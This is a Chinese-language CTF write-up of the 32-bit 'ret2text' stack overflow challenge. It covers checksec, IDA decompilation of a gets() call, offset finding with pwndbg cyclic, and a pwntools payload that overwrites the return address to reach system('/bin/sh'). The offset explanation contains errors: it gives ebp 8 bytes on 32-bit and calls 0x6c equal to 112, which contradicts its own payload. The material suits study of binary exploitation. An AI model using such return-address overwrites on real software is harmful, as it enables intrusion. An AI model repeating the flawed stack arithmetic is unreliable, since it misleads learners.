环境
原理
控制主函数的return
返回到文件函数中自带的system
函数的地址,从而获得最高权限
漏洞分析
利用checksec [file_name]
指令获取可执行文件的保护措施开放情况
命令:
checksec ret2text
可以看到,该可执行文件是32位的,仅开启了NX堆栈不可执行保护。
也就是说,我们无法通过在栈中插入shellcode来让系统运行这段恶意代码。
利用IDA32位进行调试
用IDA打开ret2text文件后,找到main主函数直接按Tab
进行反汇编
反汇编结果如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}
在这里我们看到了危险函数gets()
,由于gets()
函数不对输入数据的边界作限制,我们可以输入任意长度的字符来对栈中数据进行控制。
这时我们点击旁边的函数栏查看函数信息,发现有个secure
函数,该函数反汇编结果如下
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf(&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}
可见此函数自带system("/bin/sh")
函数,我们直接将主函数返回到system
函数的地址即可直接提权
先回到主函数,gets()
函数将输入内容存入s数组,根据char s[100]
右边的注释我们可以知道s数组从ebp-0x64
开始,由于这是32位编码,ebp也占了8个字节,所以return
返回的地址在栈中位置为s数组起始位置+0x6c
我们只要输入0x6c个字节填充,然后再输入system("/bin/sh")
的位置即可成功将return 0
变为return system.addr
成功执行提权。
这里我们填充的字符可任意选择,因为此时我们并不关心ebp的值,我们运行到system
函数就已经达到了我们的目的而不必关心后续程序如何运行。
为了获取system
函数的地址,我们在secure函数中再次按Tab
返回汇编语言,再按空格进入.text
程序代码段,找到system
函数地址
要注意这里必须用0x0804863a
这个地址,因为在执行函数之前也需要将参数传入。
利用pwndbg获取偏移量
我们也可以使用gdb的插件pwndbg来获取return
偏移量,方法如下
这里pwndbg需要自行下载
首先在命令行输入gdb ret2text
进入pwndbg
再输入cyclic xxx
来获取xxx个随机字符,这道题我们使用200个随机字符即可
然后复制这些字符,继续输入r
运行
粘贴这些字符
可以看到弹出Invalid address 0x62616164
我们输入cyclic -l 0x62616164
即可获得对应的偏移量
payload
from pwn import *
io = process('./ret2text')
secure_addr = p32(0x804863A)
payload = bytes('a' * 112,'utf-8') + secure_addr
io.sendline(payload)
io.interactive()
编写payload时使用pwntools
更方便
关于pwntools
的用法可在这里学习
这里的payload就是先用字符’a’填充112(0x6C)个字节,这112个字节中有8个字节是存储ebp的栈空间,剩余的字节是s数组所分配的栈空间,secure_addr
占用的则是return
的栈空间。
利用此payload后main函数栈空间如下
地址 | 栈中信息 |
---|---|
ebp-0x64 | a |
… | a |
ebp-1 | a |
ebp | aaaa |
ebp+8(return) | secure_addr |